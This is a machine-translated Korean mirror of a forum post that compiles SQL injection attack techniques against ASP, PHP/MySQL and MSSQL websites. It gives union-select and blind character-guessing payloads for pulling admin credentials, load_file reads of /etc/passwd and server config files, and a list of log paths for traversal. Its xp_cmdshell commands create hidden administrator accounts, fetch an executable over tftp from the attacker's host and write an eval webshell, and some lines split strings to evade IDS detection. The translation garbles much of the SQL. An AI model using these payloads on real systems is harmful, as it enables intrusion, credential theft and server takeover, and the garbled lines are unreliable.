이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 20889|회답: 2

[안전한 소통] SQL 인젝션 북 - ASP 인젝션 취약점 완전 접촉

[링크 복사]
게시됨 2015. 9. 28. 오후 6:21:41 | | |


MSSQL 크로스 데이터베이스 쿼리(음식 맛 나는 것!) 다크)

MS SQL의 마지막 한 방울까지 짜내세요

SQL 문장 참조와 레코드셋 객체가 자세히 설명됩니다

SQL Server의 저장 프로시저에 대하여

mssql 백업으로 웹셸을 만드세요

SQL_Injection 고급 응용

Cross-site SQL 주입 (laokai)

이상한 SQL 인젝션 (AMANL)

SQL Server 애플리케이션에서의 고급 SQL 주입

SQL 인젝션을 사용해 디렉터리를 탐색하는 방법

SQL 주입 기법 공략 (번역: demonalex)

SQL 데이터베이스에 대한 일부 공격

SQL 주입 공격 기법 (JSW)

SQL_Injection 고급 응용 프로그램(APACHY)

비범한 SQL 주입 방법 (Guilin Veteran)

쉘 백업

php+mysql 주입 명령 구조에 대해 이야기해 보세요 (Heyhehehehe·≯Super· 헤이)

MySQL(엔젤)을 이용한 고급 SQL 인젝션(Capital Governance)

L'injection (My)SQL via PHP

오라클 SQL 언어

SQL manual injection encyclopedia

필수 조건은 SQL 쿼리 분석기와 SqlExec Sunx 버전 등 도구가 필요합니다
==============================================================================================
1. 주입 지점이 있는지 확인한다
; 그리고 1=1 그리고 1=2
2. 테이블 이름은 관리자 관리자 사용자 비밀번호 등일 수도 있습니다:
그리고 0<>(*에서 count(*) 선택)
그리고 0<>(admin에서 count(*) 선택 — 관리자 테이블이 존재하는지 확인함
3. 계정 수를 맞추기 <0을 발견하면 올바른 페이지로 돌아가< 계정 수가 1임을 표시하기 위해 오류 페이지를 반환하세요
그리고 0<(관리자에서 count(*) 선택)
그리고 1<(관리자에서 count(*) 선택)
4. 필드 이름을 추측하기 우리가 생각하는 필드 이름을 대괄호 안에 추가한다.
그리고 1=(admin에서 count(*) 선택 (len(*)>0)–
그리고 1=(관리자에서 count(*) 선택, 여기서 len(사용자 필드 이름 이름)>0)
그리고 1=(admin에서 count(*) 선택, 여기서 len(_blank>password field name)>0)
5. 각 필드의 길이를 추측하기 길이를 추측하는 것은 올바른 페이지가 반환될 때까지 >0을 변환하는 것입니다.
그리고 1=(admin에서 count(*) 선택 중 len(*)>0)
그리고 1=(관리자에서 count(*) 선택 중 len(name)>6) 오류
그리고 1=(admin에서 count(*) 선택, 여기서 len(name)>5) 올바른 길이는 6입니다
그리고 1=(admin에서 count(*) 선택, 여기서 len(name)=6)이 맞습니다
그리고 1=(admin에서 count(*) 선택(len(password)>11)이 맞는 경우입니다
그리고 1=(admin에서 count(*) 선택, 여기서 len(password)>12) 오류 길이가 12입니다
그리고 1=(admin에서 count(*) 선택, 여기서 len(password)=12)가 맞습니다
6. 등장인물 맞춰기
그리고 1=(left(name,1)=a) — 사용자 계정의 첫 자리를 맞춰
그리고 1=(left(name,2)=ab)를 선택한 관리자의 count(*) 선택—사용자 계정의 두 번째 숫자를 맞춰
한 번에 한 글자씩 추가해서 추측하고, 방금 맞힌 숫자만큼 충분히 맞추면 계좌 번호가 나옵니다
(1) 테이블 이름을 맞혀

사용된 문장들:
그리고 존재합니다 (테이블 이름에서 * 선택)

예를 들어:
그리고 존재합니다 (관리자에서 * 선택

페이지가 올바르게 반향된다면 우리가 추측한 테이블 이름이 맞다는 뜻이고, 페이지가 틀렸다면 우리가 쓴 테이블 이름이 틀렸다는 뜻입니다

그 다음 테이블 이름을 바꾸고 계속 추측하다가 맞출 때까지 추측합니다.

일반적으로 일반적으로 사용되는 테이블 이름은 admin, manage, user, 또는 tool run 내의 경우
(2) 필드를 추측하기

사용된 문장들:
그리고 존재합니다 (테이블 이름에서 필드 이름 선택)

예를 들어:
그리고 존재합니다 (관리자에서 사용자 이름을 선택)

여기서 관리자 테이블이 제가 위에서 정확히 추측한 테이블이라고 가정하면, 사용자 이름 필드가 존재하는지 확인하고 싶습니다. 이 문장을 사용해야 합니다. 만약 페이지가

얼굴 에코가 맞으면 여기서 추측한 필드 이름이 맞다는 뜻이고, 페이지가 틀리면 여기 쓴 필드 이름이 틀렸다는 뜻입니다

그 다음 필드 이름을 바꾸고 계속 추측하다가 맞출 때까지 추측하세요.

일반적으로 일반적인 필드 이름으로는 username, password, user, pass, name, pass, pwd, usr, psd 및 기타 필드가 포함됩니다
(3) 순서로

순서 는 해당 페이지의 필드 수를 합산하여 다음 공동 쿼리를 준비하는 것입니다
(4) 유니언 셀렉트

  1. 공동 쿼리를 지원한다면, 디스플레이 비트 http://www.xxx.com/product_show.asp?id=1 을 찾고 1=2 유니언 선택

1,2,3,4,5,6,7,8,9,10,11
표시 비트가 5,6이라고 가정하자. 다음으로, 관리자의 사용자 이름과 비밀번호에 해당하는 필드 이름만 여기 표시 비트의 위치로 바꾸면 됩니다
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

관리자가 1,2,3,4,admin_name,admin_pwd,7,8,9,10,11이 로그인 백그라운드를 찾았습니다
  2. 공동 쿼리가 지원되지 않을 경우
관리자의 사용자 이름과 비밀번호는 공동 쿼리 없이는 얻을 수 없으며 - Ascii 원문 해독을 사용해
2
  순서 기준(order by)을 사용해 표의 비트 수를 판단하고, 안 되면 union select로 비트를 하나씩 배열하라. 여기서는 8비트라고 가정한다
3
  공동 쿼리를 사용해 디스플레이 비트를 결정하세요
4
  디스플레이 비트를 사용하여 데이터베이스 이름, 데이터베이스 버전, 5.0 이상을 주입할 수 있습니다
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
버전()),8
5
  데이터베이스 이름으로 테이블 이름 스키마 = 뒤에 데이터베이스 이름의 HEX 값을 붙여서 테이블 이름을 추측할 수 있습니다
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
6
  분석된 테이블 이름은 관리자의 테이블 이름=테이블 이름의 HEX 값을 결정하고, 테이블 내 필드를 추측합니다
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(불분명함)

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
7
  관리자 테이블에서 필드를 얻은 후, 필드의 내용을 가져봅시다
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(불분명함)

+사용자 이름,
0x5f,userpwd),8+from+pub_webmaster
8
  도구가 배경을 스캔합니다: 트로이 목마를 찾으면 로그인해서 업로드하고, 만약 robots.txt 파일을 못 찾으면 접근할 수 있습니다
9
  만약 배경을 찾지 못하면 MYSQL 관리자의 비밀번호가 노출됩니다
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user, password), 8+from+mysql.user
10
  무작위로 경로를 입력하면 피드백이 IIS6의 404 기본 페이지로 표시되며, 이는 웹사이트 서버가 Windows+IIS6+php+MySQL 환경임을 나타냅니다
  c:\\windows\\system32\\inetsrv\\MetaBase.xml 이 경로는 웹사이트 구성 정보를 얻을 수 있습니다.
  구성 문장 http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
11
  코드를 분석하고 배경 주소를 찾아보세요
  첫 번째 단계에서는 표 내 필드의 길이를 구해야 합니다
사용된 진술:
그리고 (테이블 이름에서 상위 1개의 len(필드 이름) 선택)>0
예를 들면:
그리고 (관리자에서 상위 1 len(admin_name) 선택)>0
페이지는 정상적으로 표시되며, 필드 길이가 0보다 크고, admin_name 제출하겠습니다:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
페이지에는 필드가 0에서 10 사이이며, 길이가 5라는 오류가 표시되어 있습니다.
관리자 비밀번호 필드 길이를 같은 방법으로 계산하면 길이가 16이 나옵니다
  2단계
이제 두 번째 단계로 넘어가서, 필드에서 특정 문자를 취해 그 문자의 ASCII 코드를 얻어 사용해 봅시다

진술:
그리고 (테이블 이름에서 상위 1개의 상승 순서(mid(field name, N,1)) 선택)>0
이 문장을 따로 살펴보겠습니다. 먼저 가장 안쪽의 중간 함수(사용자 이름, 1,1) 기능, 즉 admin_name 필드 N의 첫 문자입니다

처음 몇 개의 문자를 가로채야 함을 나타냅니다.
그 다음, 중간 함수가 가로채는 문자를 ASCII 코드인 가장 바깥쪽 상단 1로 변환하는 외부 상승 문자(external asc() 함수는 첫 번째 반환 필드를 나타냅니다

기록이라면,
끝에 있는 ">0"은 변환된 ASCII 코드를 이 숫자와 비교하고, 마지막 값을 계속 변경하여 인터셉트를 얻는 것입니다

이 캐릭터의 구체적인 내용을 파악하세요
ASCII 코드
제출:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
페이지는 정상적으로 표시되어 이 문자의 ASCII 코드가 30보다 크다는 것을 나타냅니다.
제출:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
페이지는 정상적으로 표시되어 이 문자의 ASCII 코드가 90보다 크다는 것을 나타냅니다.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
이 문자에 대해 제가 만든 ASCII 코드는 97입니다
ASCII 표를 비교해 보세요:
첫 번째 문자는 "a"임을 결론 내릴 수 있다.
그다음 두 번째 문자의 ASCII 코드를 판단하겠습니다.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
페이지는 정상적으로 표시되며, 문자의 ASCII 코드가 90보다 크고 마지막 값은 항상 변경됩니다
같은 방법으로 관리자의 비밀번호를 얻었고, 결과는 다음과 같습니다:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
그리고 1=(관리자에서 상위 1개 카운트(*)를 선택하며 Asc(mid(pass,5,1))=51) –
이 쿼리 문은 중국 사용자와 비밀번호를 추측할 수 _blank> 있습니다. 다음 번호를 중국어 ASSIC 코드로 교체하세요

캐릭터로 변환하세요.

1=1–www.myhack58.com users.id 그룹을 가집니다
users.id, users.username, users.password, users.privs 등 1=1–
; 사용자 값(666, 공격자, 푸바, 0xffff)을 삽입합니다–

유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:

TABLE_blank>_NAME=logintable-
유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:

TABLE_blank>_NAME=로그인 테이블 COLUMN_blank>_NAME (login_blank>_id)에 없음-
유니언 셀렉트 톱 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. 열:

TABLE_blank>_NAME=로그인 테이블 COLUMN_blank>_NAME 없는 곳

(login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name logintable에서 -
유니언 로그인테이블에서 비밀번호 상단 1개 선택 login_blank>_name=라훌–
_blank> 서버에서 플레이한 패치를 보세요 = 잘못된 SP4 패치 검은 바 세이프티넷
그리고 1=(@@VERSION 선택 기준)–

_blank> 데이터베이스 연결 계정의 권한을 확인해 보면 정상으로 돌아오며, _blank> 서버 역할의 시스템 관리자 권한임을 증명합니다.
그리고 1=(선택 IS_blank>_SRVROLEMEMBER(시스템 관리자))–

데이터베이스 계정이 연결되어 있는지 확인_blank>. (SA 계정 사용해 연결 및 정상 반환 = 연결된 계정이 SA임을 증명함)
그리고 sa=(선택 System_blank>_user)–
그리고 user_blank>_name()=dbo–
그리고 0<>(선택 user_blank>_name()–

xp_blank>_cmdshell 삭제하는지 확인해 보세요
그리고 1=(count(*) FROM master.dbo.sysobjects 선택 중 xtype = X AND name = xp_blank>_cmdshell)



xp_blank>_cmdshell 삭제, 복원, 절대 경로 복구를 지원합니다
; 집행관 master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; 집행master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== DB 권한이 웹사이트의 물리적 경로 코드에 노출됩니다

==========================================================================
1, 테이블 [jm_tmp]; 테이블 [jm_tmp](value navrchar(4000) null, data nvarchar(4000)

null) -- 테이블 생성


2, 삭제 [jm_tmp]; [jm_tmp] 임원 삽입master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

사이트 디렉터리를 테이블 필드에 삽입하세요


3, 그리고 ([데이터] 순서 중 상위 1명의 캐스트([데이터]로 nvarchar(4000), char(124)를 [jm_tmp] 순서에서 선택한다.

desc)=0 '//노출 필드


4. 테이블 [jm_tmp] -- 이 테이블을 삭제하세요.
사령부가 포탄을 가져가기 위해
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\기타 역 경로
======================load_file() 일반적으로 사용되는 민감한 정보 ===========================================
1, replace(load_file(0×2F6574632F7061737377764),0×3c,0×20)

2, replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
위 두 가지 방법은 코드를 완전히 보여주는 PHP 파일을 보기 위한 것입니다. 일부 문자가 교체되지 않는 경우도 있는데, 예를 들어 "space" 대신 "<"이 반환되는 경우도 있습니다

웹페이지. 그리고 코드는 볼 수 없습니다.

3. load_file(char(47))는 FreeBSD 및 Sunos 시스템의 루트 디렉터리를 나열할 수 있습니다

4. /etc/httpd/conf/httpd.conf 또는 /usr/local/apche/conf/httpd.conf에서 리눅스 APACHE 가상 호스트 구성 파일을 확인하세요

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf 또는 C:\apache\conf\httpd.conf → 윈도우 보기

시스템 아파치 파일

6. c:/Resin-3.0.14/conf/resin.conf jsp에서 개발한 웹사이트의 레진 파일 구성 정보를 확인하세요.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 를 통해 리눅스 시스템에서 설정된 JSP 가상 호스트를 확인할 수 있습니다

8, d:\APACHE\Apache2\conf\httpd.conf

9, C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml IIS의 가상 호스트 구성 파일 보기

12. /usr/local/resin-3.0.22/conf/resin.conf 를 통해 3.0.22의 RESIN 구성 파일을 확인할 수 있습니다.

13. /usr/local/resin-pro-3.0.22/conf/resin.conf 위와 동일

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE 가상 호스트

15. /etc/sysconfig/iptables는 방화벽 정책에 따라 다릅니다

16. /usr/local/app/php5 b/php.ini PHP 동등 설정

17. /etc/my.cnf MYSQL 구성 파일

18. /etc/레드햇 릴리스 시스템 버전의 레드햇

19 、C:\mysql\data\mysql\user. MYD는 MYSQL 시스템의 사용자 비밀번호에 존재합니다

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 를 사용하여 IP를 확인하세요.

21. /usr/local/app/php5 b/php.ini //PHP 관련 설정

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // 가상 웹사이트 설정

23, c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24, c:\windows\my.ini

25. /etc/issue는 리눅스 커널의 배포판 정보를 표시합니다

26, /등/ftpuser

27. LINUX user.bash_history 또는 .bash_profile 항목에서 작업 로그 파일을 확인하세요

28, /etc/쉿/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
직접 역핑 실험을 해보세요
; 마스터를 사용하세요; 지능을 선언@s; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s 아웃; 임원

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c 핑 192.168.0.1"; –

계정 추가
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell 출력 EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

가상 디렉터리 E-디스크 생성:
; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

접근 속성: (웹셸에 쓰는 경우)
Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

라이브러리를 버스팅하는 특별한 _blank> 트릭: :%5c=\ 또는 %5를 / 및 \로 수정하여 커밋
그리고 0<>(NewTable에서 상위 1개 경로를 선택)–

데이터베이스 이름을 받아보세요 (1부터 5까지는 시스템의 ID이며, 6 이상을 판단할 수 있습니다)
그리고 1=(master.dbo.sysdatabases에서 이름을 선택하며, dbid=7)–
그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=6)
차례로 dbid 제출 = 7,8,9.... 더 많은 _blank> 데이터베이스 이름 받기

그리고 0<>(bbs.dbo.sysobjects 중 xtype=U에서 상위 1개 이름을 선택)는 관리자 가정 하에 테이블에 돌파 입력되었습니다
그리고 0<>(bbs.dbo.sysobjects에서 xtype=you, 이름이 (관리자)에 없는 이름에서 상위 1개 이름을 선택).

다른 테이블들.
그리고 0<>(bbs.dbo.sysobjects 중에서 xtype=you, name=admin에서 count(*) 선택)
그리고 uid>(str(id))) UID의 수치 값은 18779569 uid=id로 가정합니다
그리고 0<>(bbs.dbo.syscolumns에서 id=18779569에서 상위 1명의 이름을 선택)는 admin 필드, false를 생성합니다

user_blank>_id 설정됨
그리고 0<>(bbs.dbo.syscolumns에서 id=18779569 이름이 아닌 상위 1개 이름을 선택하세요
(id,...)) 다른 분야를 드러내기 위해
그리고 0<(username>1을 참고하는 BBS.dbo.admin에서 user_blank>_id를 선택)
그 결과 비밀번호_blank> 얻을 수 있습니다。。。。。 사용자 이름, 비밀번호 등과 같은 필드가 있다고 가정해 user_blank>_id

그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=6)
그리고 0<>(bbs.dbo.sysobjects 중 xtype=U에서 상위 1개의 이름을 선택)를 통해 테이블 이름을 얻습니다
그리고 0<>(bbs.dbo.sysobjects에서 xtype=you, name이 in(Address)에 없는 이름에서 상위 1개 이름을 선택)
그리고 0<>(bbs.dbo.sysobjects 중에서 xtype=u, name=admin and uid>(str(id))에서 count(*) 선택)

ID 값을 결정하세요
그리고 0<>(BBS.dbo.syscolumns에서 id=773577794에서 상위 1개의 이름을 선택) 모든 필드

?id=-1 유니언 1,2,3,4,5,6,7,8,9,10,11,12,13,* 관리자에서 선택
?id=-1 유니언 관리자에서 1,2,3,4,5,6,7,8,*,9,10,11,12,13을 선택하세요 (유니언, 접근도 사용하기 쉽습니다)

웹 경로를 얻으세요
; 테이블 [dbo]를 만드세요. [스왑] ([스왑패스][char](255)); –
그리고 (스왑에서 상위 1개의 스왑패스를 선택)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) 선언 @test varchar(20) exec

주인님.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=시스템

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, 값=@test

OUTPUT insert into paths(path) values(@test)–
; Ku1을 사용하세요; –
; 테이블 CMD 생성(STR 이미지); – 이미지 타입의 테이블 cmd 생성
1. xp_cmdshell 확장 과정을 제거하는 방법은 다음 문장을 사용하는 것입니다:

만약 존재한다면(dbo.sysobjects에서 *를 선택하며, id=object_id(N'[dbo].[ xpcmdshell]')

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
임원sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. 확장 과정을 추가하는 방법은 다음 문xp_cmdshell 사용하는 것입니다:

(1) SQL 쿼리 분석기

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) 먼저 SqlExec Sunx 버전의 Format 옵션에 %를 입력하고 CMD 옵션에 입력합니다

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

삭제

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
xp_blank>_cmdshell 테스트 과정이 있습니다:
; 대장님.. xp_blank>_cmdshell 디르
; 집행 master.dbo.sp_blank>_addlogin 교오니앙$; – SQL 계정 추가
; 임원 master.dbo.sp_blank>_password null, Jiaoniang$,1866574; –
; 지아오니앙$ Sysadmin master.dbo.sp_blank>_addsrvrolemember exec –
; Executive master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Executive master.dbo.xp_blank>_cmdshell Net LocalGroup 관리자 Jiaoniang$ /add; –
대장님.. xp_blank>_servicecontrol 시작, 서비스 시작 일정_blank>
대장님.. xp_blank>_servicecontrol 시작해, 서버.
; @shell int EXEC SP_blank>_OACreate wscrip{filtering}t.shell을 선언하고, @shell EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell 출력 EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; 대장님.. xp_blank>_cmdshell tftp -i youip get file.exe – TFTP를 사용해 파일 업로드

; Declare @a sysname Set @a=xp_blank>_+CMDshell exec @a dir C:\
; Declare @a sysname Set @a=XP+_blank>_cm'+'dShell exec @a dir C:\
; @a 선언; 집합 @a=db_blank>_name(); 백업 데이터베이스 @a disk=당신의 IP 공유 디렉터리 bak.dat
제한 있으면 그렇습니다.
Select * from openRowSet(_blank>sqloledb,server; SA; ,선택하세요! 임원

master.dbo.sp_blank>_addlogin핵스)

쿼리 구조:
뉴스에서 * 선택 위치 id=... 그리고 주제=... 그리고 .....
adminand 1=(사용자 이름=victim 및 right(left(userpass,01),1)=1 중에서 [user]에서 count(*)를 선택)

그리고 Userpass <>
셀렉트 123; –
; 마스터를 사용하세요; –
:a 또는 fff% 같은 이름; – ffff라는 사용자가 표시됩니다.
그리고 1<>([사용자]에서 count(이메일) 선택); –
; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you와 status>0 중 상위 1개 이름을 선택하세요).

name=ffff; –
; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you, name=ad에서 상위 1 ID를 선택) 여기서

name=ffff; –
; 업데이트 [사용자] 이메일 설정=(sysobjects에서 xtype=you, id>581577110에서 상위 1개 이름을 선택하세요)

여기서 name=ffff; –
; 업데이트 [사용자] 이메일 설정=(비밀번호에서 상위 1개 count(id) 선택) 여기서 name=ffff; –
; 업데이트 [사용자] 이메일 설정=(비밀번호에서 id=2 중 상위 1명의 PWD 선택) 여기서 name=ffff; –
; 업데이트 [사용자] 이메일 설정=(비밀번호에서 id=2 중 상위 1개 이름을 선택하기) 여기서 name=ffff; –
위 문장은 _blank> 데이터베이스에서 첫 번째 사용자 테이블을 받아 ffff 사용자의 이메일 필드에 테이블 이름을 넣는 것입니다.
ffff의 사용자 프로필을 보면 AD라는 첫 번째 테이블을 얻을 수 있습니다
그 다음 테이블 이름 ad에 따라 이 테이블의 ID를 얻어 두 번째 테이블 이름을 얻습니다

사용자 값( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
사용자 값에 삽입(667,123,123,0xffff)–
사용자 값에 삽입 (123, admin–, password, 0xffff)–
; 그리고 사용자>0
; 그리고 (sysObjects에서 count(*) 선택)>0
; 그리고 (mysysobjects에서 count(*) 선택)>0 // access_blank> 데이터베이스를 위해

데이터 테이블의 이름을 열거하세요
; 업데이트 AAA Set aa=(sysobjects에서 xtype=you and status>0 중 상위 1개 이름을 선택); –
이때 첫 번째 테이블 이름이 AAA 필드로 업데이트됩니다.
첫 번째 테이블을 읽고, 두 번째 테이블은 조건 뒤에 이름을 추가하는 식으로 읽을 수 있습니다<> 방금 받은 테이블 이름입니다.
; 업데이트 AAA Set aa=(sysObjects 중에서 xtype=u, status>0 그리고

이름<>투표); –
그러면 id=1552이고 존재합니다(aaa에서 *를 선택하고, 여기서 aaa>5)
두 번째 표를 하나씩 읽어서 읽어가면 없을 때까지 읽어보세요.
읽은 필드는 다음과 같습니다:
; 업데이트 AAA 세트 aaa=(top 1 선택 col_blank>_name(object_blank>_id(table명)1)); –
그러면 id=152이고 exists(aaa>5에서 *를 선택)이 오류를 내고 필드 이름을 얻습니다
; 업데이트 AAA 세트 aaa=(상위 1개 선택 col_blank>_name(object_blank>_id(테이블 이름)2)); –
그러면 id=152이고 exists(aaa>5에서 *를 선택)이 오류를 내고 필드 이름을 얻습니다

[데이터 테이블 이름 가져오기] [필드 값을 테이블 이름으로 업데이트한 후, 이 필드의 값을 읽어 테이블 이름을 얻습니다]
Update table name set field=(sysobjects에서 xtype=u, status>0 [ and name<>

얻는 테이블 이름은 찾기 1 더하기 1]) [ 여기서 조건] xtype=you와 여기서 sysobjects 중에서 상위 1개 이름을 선택합니다

status>0 및 이름이 없음(table1, table2,...)
데이터베이스 관리자 계정과 시스템 관리자 계정 생성 _blank> _blank> SQLSERVER를 통한 취약점 주입 [현재 계정은 반드시 SYSADMIN 그룹이어야 함]

[Datatable 필드 이름 가져오기] [필드 값을 필드 이름으로 업데이트한 후, 이 필드 값을 읽어 필드 이름을 얻습니다]
업데이트 테이블 이름 Set field=(top 1 선택 col_blank>_name(object_blank>_id (데이터 테이블 이름으로 쿼리), field column

예를 들어: 1) [ 여기서 조건]

IDS 감지 우회 [변수 사용]
; Declare @a sysname Set @a=xp_blank>_+CMDshell exec @a dir C:\
; Declare @a sysname Set @a=XP+_blank>_cm'+'dShell exec @a dir C:\

1. 원격 _blank> 데이터베이스를 엽니다
기본 문법
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, table1에서 * 선택 )
매개변수: (1) OLEDB 제공자 이름
